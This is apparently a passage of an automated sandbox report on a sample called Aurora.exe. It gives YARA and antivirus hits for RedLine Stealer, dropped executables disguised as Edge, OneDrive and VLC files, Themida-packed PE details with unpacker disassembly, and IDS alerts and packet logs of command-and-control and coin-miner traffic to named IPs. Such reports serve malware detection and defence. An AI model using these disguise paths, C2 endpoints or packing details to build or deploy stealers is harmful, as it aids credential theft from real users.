Yara Hits:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_f54632eb, Description: unknown, Source: C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe, Author: unknown Rule: MALWARE_Win_RedLine, Description: Detects RedLine infostealer, Source: C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 96%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....................0..t..........>.... ........@.. ....................................@....................................W.................................................................................... ............... ..H............text...Ds... ...t.................. ..`.rsrc................v..............@..@.reloc...............\|..............@..B................ .......H...........0.......C....................................................0.. .......s......~....%-.&~..........s....%.....(...+o.....8.....o............%........%.....(....s.....%.......%.....(....s.....%.......%.....(....s.....(....o.....8F.....(.....s......s,.......~....}....~.........s....(....o....}......{...........%.....(....s....o....,.......%.....(....s......+O..>.....%.....(....s....r...p~....(....(....o....-...{....(....+...{....(........(....:V......o........(....o

C:\Users\user\AppData\Roaming\OneDrive Update Tool\OneDrive.exe

Download File

Process:	C:\Users\user\Desktop\Aurora.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	3305984
Entropy (8bit):	7.998639087761014
Encrypted:	true
SSDEEP:	98304:pV8fQuKXwLIWpW5PXlONhPgw0EjnrSMH:T81KYdU1ihPgwLnrx
MD5:	3B4F58CD4BCA7274BE25E885BE00798B
SHA1:	EB57C281D8324A1079DB97C9DA43483A65DEBBED
SHA-256:	A6832546E1D261C33DEEA58E1CBB8A391AF91628B130454D55AEF3E292862D80
SHA-512:	DC909730B2FEACBA3C14C98A2B443D5C12DFD74CE74DB53CF7E564E01707AC365811E4D3B95C0CEFE2B87EBD1B074FB4A395360911C3D11DE4FA8957E9BAD121
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 68%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...$.Od.................h2...........2.. ....2...@.. ........................2...........@.................................l.2.O.....2.......................2...................................................... ............... ..H............text....f2.. ...h2................. ..`.rsrc.........2......j2.............@..@.reloc........2......p2.............@..B..................2.....H.........2..~...........1....1.............................................{E/^.( ...r5..p~'....(X...^.("...r{..p~(....(X...^.($...r...p~)....(X...^.(&...r...p~....(X...^.((...rM..p~+....(X...^.(...r...p~,....(X...^.(,...r...p~-....(X...^.(....r...p~.....(X...^.(0...re..p~/....(X...^.(2...r...p~0....(X...^.(4...r...p~1....(X...^.(6...r7..p~2....(X...^.(8...r}..p~3....(X...^.(:...r...p~4....(X...^.(<...r...p~5....(X...^.(>...rO..p~6....(X...^.(@...r...p~7..

C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe

Download File

Process:	C:\Users\user\AppData\Roaming\OneDrive Update Tool\OneDrive.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	3305984
Entropy (8bit):	7.998639087761014
Encrypted:	true
SSDEEP:	98304:pV8fQuKXwLIWpW5PXlONhPgw0EjnrSMH:T81KYdU1ihPgwLnrx
MD5:	3B4F58CD4BCA7274BE25E885BE00798B
SHA1:	EB57C281D8324A1079DB97C9DA43483A65DEBBED
SHA-256:	A6832546E1D261C33DEEA58E1CBB8A391AF91628B130454D55AEF3E292862D80
SHA-512:	DC909730B2FEACBA3C14C98A2B443D5C12DFD74CE74DB53CF7E564E01707AC365811E4D3B95C0CEFE2B87EBD1B074FB4A395360911C3D11DE4FA8957E9BAD121
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 68%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...$.Od.................h2...........2.. ....2...@.. ........................2...........@.................................l.2.O.....2.......................2...................................................... ............... ..H............text....f2.. ...h2................. ..`.rsrc.........2......j2.............@..@.reloc........2......p2.............@..B..................2.....H.........2..~...........1....1.............................................{E/^.( ...r5..p~'....(X...^.("...r{..p~(....(X...^.($...r...p~)....(X...^.(&...r...p~....(X...^.((...rM..p~+....(X...^.(...r...p~,....(X...^.(,...r...p~-....(X...^.(....r...p~.....(X...^.(0...re..p~/....(X...^.(2...r...p~0....(X...^.(4...r...p~1....(X...^.(6...r7..p~2....(X...^.(8...r}..p~3....(X...^.(:...r...p~4....(X...^.(<...r...p~5....(X...^.(>...rO..p~6....(X...^.(@...r...p~7..

C:\Users\user\AppData\Roaming\VLC Media Player\vlc.exe

Download File

Process:	C:\Users\user\Desktop\Aurora.exe
File Type:	PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	5846920
Entropy (8bit):	7.706908459684143
Encrypted:	false
SSDEEP:	98304:25h3DyR3bargjfCgmnokEFhmqmnScD5AJUvYvmgOYPh:2jYrugTCgmoljmDnHD5AJUQOYPh
MD5:	B9FC8581B52ABFC6B563DA731438E27D
SHA1:	43111FE9B307C850A379FE2D64D279E994680DE3
SHA-256:	E03DEBE75B2F4F4C937C50773064B9A692B262BFCE4472E67900EDF3F7726058
SHA-512:	C62540E73870CAF9A93FBC2396AC99867F8F6E87661240D7642022130008BDB769954F1E8A58D13698172E62CC5B7D44A73B2F1D999DB47822EB294C629436A5
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 53%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d....E4d...............&......Y................@..............................Y......lY...`... ..............................................PY.4.....Y.8.....Y.d.....Y..#....Y.0........................... .X.(....................RY.P............................text...............................`..`.data...@.W.......W.................@....rdata...;....X..<....X.............@..@.pdata..d.....Y.......X.............@..@.xdata....... Y.......X.............@..@.bss.........0Y..........................idata..4....PY.......X.............@....CRT....`....`Y.......Y.............@....tls.........pY.......Y.............@....rsrc...8.....Y.......Y.............@....reloc..0.....Y.......Y.............@..B........................................................................................................................................................................

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.465472739938839
Encrypted:	false
SSDEEP:	6144:cw6IXfpi67eLPU9skLmb0b4aWSPKaJG8nAgejZMMhA2gX4WABl0uNHdwBCswSbF:cwPXD94aWlLZMM6YFHJ+F
MD5:	136DC1113969CA9AC2A0A5A343FC5473
SHA1:	6DFF2083C09C171C030D9084377CDA1C93C7A26A
SHA-256:	0F6E92FAED5E2CDCF77A9574FB6DF27C1289EF040CF3F15DE6745045585FF269
SHA-512:	82393008C737AF14E6AF21C7042D6E9D2929FCC0A2352DEAE3CBBD7B596D56441D3BBF14D3A053984276FF5C529CA1F1CC7E7004D2C7EF4D06AD08BABE99EE9E
Malicious:	false
Preview:	regf6...6....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm&K{..................................................................................................................................................................................................................................................................................................................................................m.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

\Device\Null

Download File

Process:	C:\Users\user\Desktop\Aurora.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1048576
Entropy (8bit):	6.141453390801126
Encrypted:	false
SSDEEP:	24576:ZNylo5lODLam3rb/T9vO90d7HjmAFd4A64nsfJnAzpmH3cNWc:HylyQLtrb/T9vO90d7HjmAFd4A64nsfy
MD5:	BDBC5A0F4BACF05D30C47F759DF837DC
SHA1:	ADEF596B217CCDA83755DAE64199E0DC2FB20C97
SHA-256:	8835F8B315595879F72216FE86A3E965FEB3729961C749284500440596789935
SHA-512:	2C3E1A7446558E874CA7C5E8975FC772012FB3C32CF48CFB436C78B5B573D3810D546209489BFA9D66C0E3EAA9DD25D0634F204B0397552E648CFC6CE636DCAD
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.....c.....J....&....%..P..X.................@....................................@Z....`... .........................................Y...................`..pV...............B..........................@K..(......................x............................text...`.P.......P.................`..`.data....}....P..~....P.............@....rdata....B..`U...B..HU.............@..@.pdata..pV...`...X...@..............@..@.xdata...d.......f..................@..@.bss....$....0...........................edata..Y...........................@..@.idata.............................@....CRT....h..........................@....tls................................@....reloc...B.......D..................@..B/4...........`.......^..............@..B/19.....W.G..p....G..b..............@..B/31......&.......(...~..............@..B/45.....g.!.......!.................@..B/57.....

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.998736003048618
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Aurora.exe
File size:	22'316'547 bytes
MD5:	416de11d210ae0ff50214021ff57b32b
SHA1:	3142453c18080b83d8dbdeba89524beea1c94ff3
SHA256:	72e1fc6da0a5cfca80413b8b24a880b0688908264971cfedaf079ee52ce4d850
SHA512:	e1f061f99e9e4e42c21269a32c9f3cfa711a8a95caf7628637d5606ae7846fc73ae982b0ee78646026c41e5c1e61e21a15829967d2fed534070e3c40e2731e4c
SSDEEP:	393216:TYTogFuaMaKQy6SSTMX3q7wLta40K3pNPS4n+yubbcEVPxEV+aqdvx1LB1x8NFN:TYT1Fu/6SSTMq+YK3Hx+3r5Np1FL8NF
TLSH:	8B273397945BFFF4F0BC23F455CF64B688B1052A36A8C3187C38BB9FE9856246A85071
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....#Od.................. .........`.x.. .... ...@.. ...............................3U...@................................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x1b8c160
Entrypoint Section:	.boot
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x644F23F4 [Mon May 1 02:29:08 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	4328f7206db519cd4e82283211d98e83

Entrypoint Preview

Instruction
call 00007F26D0CFA1C0h
push ebx
mov ebx, esp
push ebx
mov esi, dword ptr [ebx+08h]
mov edi, dword ptr [ebx+10h]
cld
mov dl, 80h
mov al, byte ptr [esi]
inc esi
mov byte ptr [edi], al
inc edi
mov ebx, 00000002h
add dl, dl
jne 00007F26D0CFA077h
mov dl, byte ptr [esi]
inc esi
adc dl, dl
jnc 00007F26D0CFA05Ch
add dl, dl
jne 00007F26D0CFA077h
mov dl, byte ptr [esi]
inc esi
adc dl, dl
jnc 00007F26D0CFA0C3h
xor eax, eax
add dl, dl
jne 00007F26D0CFA077h
mov dl, byte ptr [esi]
inc esi
adc dl, dl
jnc 00007F26D0CFA157h
add dl, dl
jne 00007F26D0CFA077h
mov dl, byte ptr [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 00007F26D0CFA077h
mov dl, byte ptr [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 00007F26D0CFA077h
mov dl, byte ptr [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 00007F26D0CFA077h
mov dl, byte ptr [esi]
inc esi
adc dl, dl
adc eax, eax
je 00007F26D0CFA07Ah
push edi
mov eax, eax
sub edi, eax
mov al, byte ptr [edi]
pop edi
mov byte ptr [edi], al
inc edi
mov ebx, 00000002h
jmp 00007F26D0CFA00Bh
mov eax, 00000001h
add dl, dl
jne 00007F26D0CFA077h
mov dl, byte ptr [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 00007F26D0CFA077h
mov dl, byte ptr [esi]
inc esi
adc dl, dl
jc 00007F26D0CFA05Ch
sub eax, ebx
mov ebx, 00000001h
jne 00007F26D0CFA09Ah
mov ecx, 00000001h
add dl, dl
jne 00007F26D0CFA077h
mov dl, byte ptr [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 00007F26D0CFA077h
mov dl, byte ptr [esi]
inc esi
adc dl, dl
jc 00007F26D0CFA05Ch
push esi
mov esi, edi
sub esi, ebp

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x121003a	0x50	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x1212000	0x614	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x2000	0x120a000	0x1209e00	e31d37bb6bbe6c707da1ccfa95c7d65f	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
	0x120c000	0x360	0x200	813dd88ff7561063187aa3e190784258	False	0.783203125	data	6.115865643361928	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
	0x120e000	0xc	0x200	a55d5ca1e8e73651fc69675d448a6d2c	False	0.603515625	data	4.374449586776179	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.idata	0x1210000	0x2000	0x200	d90bd209cd7314a1e46c6627ce7c5c7d	False	0.16796875	data	1.1486424297373619	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x1212000	0x2000	0x800	d86a6552b48fbe78d841c59c75f4ccac	False	0.35791015625	data	3.6144746060312407	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.themida	0x1214000	0x578000	0x0	d41d8cd98f00b204e9800998ecf8427e	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.boot	0x178c000	0x33d600	0x33d600	c3488943d58ee5281fedfc93edc3ef29	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x1212090	0x304	data			0.44689119170984454
RT_MANIFEST	0x12123a4	0x26b	XML 1.0 document, ASCII text	English	United States	0.5492730210016155

Imports

DLL	Import
kernel32.dll	GetModuleHandleA
mscoree.dll	_CorExeMain

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	Protocol	SID	Signature	Source Port	Dest Port	Source IP	Dest IP
2024-07-26T20:46:54.696928+0200	TCP	2849662	ETPRO MALWARE RedLine - CheckConnect Request	49765	28105	192.168.2.4	154.81.220.233
2024-07-26T20:46:08.090907+0200	TCP	2849662	ETPRO MALWARE RedLine - CheckConnect Request	49756	28105	192.168.2.4	154.81.220.233
2024-07-26T20:46:28.035116+0200	TCP	2849662	ETPRO MALWARE RedLine - CheckConnect Request	49760	28105	192.168.2.4	154.81.220.233
2024-07-26T20:45:54.861940+0200	TCP	2849662	ETPRO MALWARE RedLine - CheckConnect Request	49751	28105	192.168.2.4	154.81.220.233
2024-07-26T20:45:14.137276+0200	TCP	2849662	ETPRO MALWARE RedLine - CheckConnect Request	49737	28105	192.168.2.4	154.81.220.233
2024-07-26T20:45:27.789532+0200	TCP	2849662	ETPRO MALWARE RedLine - CheckConnect Request	49746	28105	192.168.2.4	154.81.220.233
2024-07-26T20:45:41.579547+0200	TCP	2849662	ETPRO MALWARE RedLine - CheckConnect Request	49749	28105	192.168.2.4	154.81.220.233
2024-07-26T20:45:48.234913+0200	TCP	2849662	ETPRO MALWARE RedLine - CheckConnect Request	49750	28105	192.168.2.4	154.81.220.233
2024-07-26T20:47:01.471138+0200	TCP	2849662	ETPRO MALWARE RedLine - CheckConnect Request	49766	28105	192.168.2.4	154.81.220.233
2024-07-26T20:45:19.757640+0200	TCP	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	443	49743	20.12.23.50	192.168.2.4
2024-07-26T20:46:34.657862+0200	TCP	2849662	ETPRO MALWARE RedLine - CheckConnect Request	49761	28105	192.168.2.4	154.81.220.233
2024-07-26T20:45:21.107001+0200	TCP	2849662	ETPRO MALWARE RedLine - CheckConnect Request	49744	28105	192.168.2.4	154.81.220.233
2024-07-26T20:45:07.197859+0200	TCP	2849662	ETPRO MALWARE RedLine - CheckConnect Request	49730	28105	192.168.2.4	154.81.220.233
2024-07-26T20:45:34.936994+0200	TCP	2849662	ETPRO MALWARE RedLine - CheckConnect Request	49747	28105	192.168.2.4	154.81.220.233
2024-07-26T20:46:01.485959+0200	TCP	2849662	ETPRO MALWARE RedLine - CheckConnect Request	49754	28105	192.168.2.4	154.81.220.233
2024-07-26T20:46:21.408739+0200	TCP	2849662	ETPRO MALWARE RedLine - CheckConnect Request	49758	28105	192.168.2.4	154.81.220.233
2024-07-26T20:46:48.046438+0200	TCP	2849662	ETPRO MALWARE RedLine - CheckConnect Request	49763	28105	192.168.2.4	154.81.220.233
2024-07-26T20:46:41.394310+0200	TCP	2849662	ETPRO MALWARE RedLine - CheckConnect Request	49762	28105	192.168.2.4	154.81.220.233
2024-07-26T20:47:20.170176+0200	TCP	2849662	ETPRO MALWARE RedLine - CheckConnect Request	49767	28105	192.168.2.4	154.81.220.233
2024-07-26T20:46:14.752306+0200	TCP	2849662	ETPRO MALWARE RedLine - CheckConnect Request	49757	28105	192.168.2.4	154.81.220.233
2024-07-26T20:44:56.074914+0200	TCP	2826930	ETPRO COINMINER XMR CoinMiner Usage	49755	14444	192.168.2.4	51.79.71.77
2024-07-26T20:45:57.548139+0200	TCP	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	443	49752	20.12.23.50	192.168.2.4

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 26, 2024 20:45:05.492872953 CEST	49730	28105	192.168.2.4	154.81.220.233
Jul 26, 2024 20:45:05.499164104 CEST	28105	49730	154.81.220.233	192.168.2.4
Jul 26, 2024 20:45:05.499362946 CEST	49730	28105	192.168.2.4	154.81.220.233
Jul 26, 2024 20:45:05.513554096 CEST	49730	28105	192.168.2.4	154.81.220.233
Jul 26, 2024 20:45:05.518940926 CEST	28105	49730	154.81.220.233	192.168.2.4
Jul 26, 2024 20:45:05.872354031 CEST	49730	28105	192.168.2.4	154.81.220.233
Jul 26, 2024 20:45:05.877944946 CEST	28105	49730	154.81.220.233	192.168.2.4
Jul 26, 2024 20:45:07.197695971 CEST	28105	49730	154.81.220.233	192.168.2.4
Jul 26, 2024 20:45:07.197859049 CEST	49730	28105	192.168.2.4	154.81.220.233
Jul 26, 2024 20:45:07.206114054 CEST	49730	28105	192.168.2.4	154.81.220.233
Jul 26, 2024 20:45:07.211544037 CEST	28105	49730	154.81.220.233	192.168.2.4
Jul 26, 2024 20:45:08.062025070 CEST	49732	55326	192.168.2.4	192.64.119.108
Jul 26, 2024 20:45:08.067336082 CEST	55326	49732	192.64.119.108	192.168.2.4
Jul 26, 2024 20:45:08.067553043 CEST	49732	55326	192.168.2.4	192.64.119.108
Jul 26, 2024 20:45:08.078723907 CEST	49732	55326	192.168.2.4	192.64.119.108
Jul 26, 2024 20:45:08.083677053 CEST	55326	49732	192.64.119.108	192.168.2.4
Jul 26, 2024 20:45:12.232580900 CEST	49737	28105	192.168.2.4	154.81.220.233
Jul 26, 2024 20:45:12.237777948 CEST	28105	49737	154.81.220.233	192.168.2.4
Jul 26, 2024 20:45:12.240573883 CEST	49737	28105	192.168.2.4	154.81.220.233
Jul 26, 2024 20:45:12.240715981 CEST	49737	28105	192.168.2.4	154.81.220.233
Jul 26, 2024 20:45:12.520914078 CEST	28105	49737	154.81.220.233	192.168.2.4
Jul 26, 2024 20:45:12.592580080 CEST	49737	28105	192.168.2.4	154.81.220.233
Jul 26, 2024 20:45:12.599104881 CEST	28105	49737	154.81.220.233	192.168.2.4
Jul 26, 2024 20:45:14.137084007 CEST	28105	49737	154.81.220.233	192.168.2.4
Jul 26, 2024 20:45:14.137275934 CEST	49737	28105	192.168.2.4	154.81.220.233
Jul 26, 2024 20:45:14.137275934 CEST	49737	28105	192.168.2.4	154.81.220.233
Jul 26, 2024 20:45:14.142429113 CEST	28105	49737	154.81.220.233	192.168.2.4
Jul 26, 2024 20:45:19.158322096 CEST	49744	28105	192.168.2.4	154.81.220.233
Jul 26, 2024 20:45:19.366707087 CEST	28105	49744	154.81.220.233	192.168.2.4
Jul 26, 2024 20:45:19.366791010 CEST	49744	28105	192.168.2.4	154.81.220.233
Jul 26, 2024 20:45:19.366971016 CEST	49744	28105	192.168.2.4	154.81.220.233
Jul 26, 2024 20:45:19.377764940 CEST	28105	49744	154.81.220.233	192.168.2.4
Jul 26, 2024 20:45:19.715569973 CEST	49744	28105	192.168.2.4	154.81.220.233
Jul 26, 2024 20:45:19.720983982 CEST	28105	49744	154.81.220.233	192.168.2.4
Jul 26, 2024 20:45:21.106698990 CEST	28105	49744	154.81.220.233	192.168.2.4
Jul 26, 2024 20:45:21.107001066 CEST	49744	28105	192.168.2.4	154.81.220.233
Jul 26, 2024 20:45:21.107001066 CEST	49744	28105	192.168.2.4	154.81.220.233
Jul 26, 2024 20:45:21.112627029 CEST	28105	49744	154.81.220.233	192.168.2.4
Jul 26, 2024 20:45:26.122562885 CEST	49746	28105	192.168.2.4	154.81.220.233
Jul 26, 2024 20:45:26.127908945 CEST	28105	49746	154.81.220.233	192.168.2.4
Jul 26, 2024 20:45:26.132575989 CEST	49746	28105	192.168.2.4	154.81.220.233
Jul 26, 2024 20:45:26.132781029 CEST	49746	28105	192.168.2.4	154.81.220.233
Jul 26, 2024 20:45:26.138029099 CEST	28105	49746	154.81.220.233	192.168.2.4
Jul 26, 2024 20:45:26.481157064 CEST	49746	28105	192.168.2.4	154.81.220.233
Jul 26, 2024 20:45:26.486680031 CEST	28105	49746	154.81.220.233	192.168.2.4
Jul 26, 2024 20:45:27.789330959 CEST	28105	49746	154.81.220.233	192.168.2.4
Jul 26, 2024 20:45:27.789531946 CEST	49746	28105	192.168.2.4	154.81.220.233
Jul 26, 2024 20:45:27.789531946 CEST	49746	28105	192.168.2.4	154.81.220.233
Jul 26, 2024 20:45:27.794625998 CEST	28105	49746	154.81.220.233	192.168.2.4
Jul 26, 2024 20:45:29.458120108 CEST	55326	49732	192.64.119.108	192.168.2.4
Jul 26, 2024 20:45:29.458338976 CEST	49732	55326	192.168.2.4	192.64.119.108
Jul 26, 2024 20:45:29.477355957 CEST	49732	55326	192.168.2.4	192.64.119.108
Jul 26, 2024 20:45:29.482995033 CEST	55326	49732	192.64.119.108	192.168.2.4
Jul 26, 2024 20:45:32.799663067 CEST	49747	28105	192.168.2.4	154.81.220.233
Jul 26, 2024 20:45:32.804874897 CEST	28105	49747	154.81.220.233	192.168.2.4
Jul 26, 2024 20:45:32.804960012 CEST	49747	28105	192.168.2.4	154.81.220.233
Jul 26, 2024 20:45:32.805094004 CEST	49747	28105	192.168.2.4	154.81.220.233
Jul 26, 2024 20:45:32.810123920 CEST	28105	49747	154.81.220.233	192.168.2.4
Jul 26, 2024 20:45:33.153081894 CEST	49747	28105	192.168.2.4	154.81.220.233
Jul 26, 2024 20:45:33.158418894 CEST	28105	49747	154.81.220.233	192.168.2.4
Jul 26, 2024 20:45:33.187582016 CEST	49748	55713	192.168.2.4	123.123.123.123
Jul 26, 2024 20:45:33.192650080 CEST	55713	49748	123.123.123.123	192.168.2.4
Jul 26, 2024 20:45:33.192802906 CEST	49748	55713	192.168.2.4	123.123.123.123
Jul 26, 2024 20:45:33.193094015 CEST	49748	55713	192.168.2.4	123.123.123.123
Jul 26, 2024 20:45:33.198306084 CEST	55713	49748	123.123.123.123	192.168.2.4
Jul 26, 2024 20:45:34.936805964 CEST	28105	49747	154.81.220.233	192.168.2.4
Jul 26, 2024 20:45:34.936994076 CEST	49747	28105	192.168.2.4	154.81.220.233
Jul 26, 2024 20:45:34.936995029 CEST	49747	28105	192.168.2.4	154.81.220.233
Jul 26, 2024 20:45:34.939176083 CEST	28105	49747	154.81.220.233	192.168.2.4
Jul 26, 2024 20:45:34.939227104 CEST	49747	28105	192.168.2.4	154.81.220.233
Jul 26, 2024 20:45:34.958467960 CEST	28105	49747	154.81.220.233	192.168.2.4
Jul 26, 2024 20:45:39.951621056 CEST	49749	28105	192.168.2.4	154.81.220.233
Jul 26, 2024 20:45:39.968835115 CEST	28105	49749	154.81.220.233	192.168.2.4
Jul 26, 2024 20:45:39.969014883 CEST	49749	28105	192.168.2.4	154.81.220.233
Jul 26, 2024 20:45:39.971077919 CEST	49749	28105	192.168.2.4	154.81.220.233
Jul 26, 2024 20:45:39.977386951 CEST	28105	49749	154.81.220.233	192.168.2.4
Jul 26, 2024 20:45:40.326011896 CEST	49749	28105	192.168.2.4	154.81.220.233
Jul 26, 2024 20:45:40.331654072 CEST	28105	49749	154.81.220.233	192.168.2.4
Jul 26, 2024 20:45:41.579473972 CEST	28105	49749	154.81.220.233	192.168.2.4
Jul 26, 2024 20:45:41.579546928 CEST	49749	28105	192.168.2.4	154.81.220.233
Jul 26, 2024 20:45:41.579615116 CEST	49749	28105	192.168.2.4	154.81.220.233
Jul 26, 2024 20:45:41.584817886 CEST	28105	49749	154.81.220.233	192.168.2.4
Jul 26, 2024 20:45:46.591428041 CEST	49750	28105	192.168.2.4	154.81.220.233
Jul 26, 2024 20:45:46.596775055 CEST	28105	49750	154.81.220.233	192.168.2.4
Jul 26, 2024 20:45:46.596868038 CEST	49750	28105	192.168.2.4	154.81.220.233
Jul 26, 2024 20:45:46.597177982 CEST	49750	28105	192.168.2.4	154.81.220.233
Jul 26, 2024 20:45:46.605514050 CEST	28105	49750	154.81.220.233	192.168.2.4
Jul 26, 2024 20:45:46.949814081 CEST	49750	28105	192.168.2.4	154.81.220.233
Jul 26, 2024 20:45:46.956902981 CEST	28105	49750	154.81.220.233	192.168.2.4
Jul 26, 2024 20:45:48.234724045 CEST	28105	49750	154.81.220.233	192.168.2.4
Jul 26, 2024 20:45:48.234913111 CEST	49750	28105	192.168.2.4	154.81.220.233
Jul 26, 2024 20:45:48.235371113 CEST	49750	28105	192.168.2.4	154.81.220.233
Jul 26, 2024 20:45:48.241750002 CEST	28105	49750	154.81.220.233	192.168.2.4
Jul 26, 2024 20:45:53.252979994 CEST	49751	28105	192.168.2.4	154.81.220.233
Jul 26, 2024 20:45:53.258287907 CEST	28105	49751	154.81.220.233	192.168.2.4
Jul 26, 2024 20:45:53.260806084 CEST	49751	28105	192.168.2.4	154.81.220.233
Jul 26, 2024 20:45:53.260888100 CEST	49751	28105	192.168.2.4	154.81.220.233
Jul 26, 2024 20:45:53.266129971 CEST	28105	49751	154.81.220.233	192.168.2.4
Jul 26, 2024 20:45:53.611741066 CEST	49751	28105	192.168.2.4	154.81.220.233
Jul 26, 2024 20:45:53.620099068 CEST	28105	49751	154.81.220.233	192.168.2.4
Jul 26, 2024 20:45:54.601716995 CEST	55713	49748	123.123.123.123	192.168.2.4
Jul 26, 2024 20:45:54.601923943 CEST	49748	55713	192.168.2.4	123.123.123.123
Jul 26, 2024 20:45:54.603039980 CEST	49748	55713	192.168.2.4	123.123.123.123
Jul 26, 2024 20:45:54.608129025 CEST	55713	49748	123.123.123.123	192.168.2.4
Jul 26, 2024 20:45:54.861754894 CEST	28105	49751	154.81.220.233	192.168.2.4
Jul 26, 2024 20:45:54.861939907 CEST	49751	28105	192.168.2.4	154.81.220.233
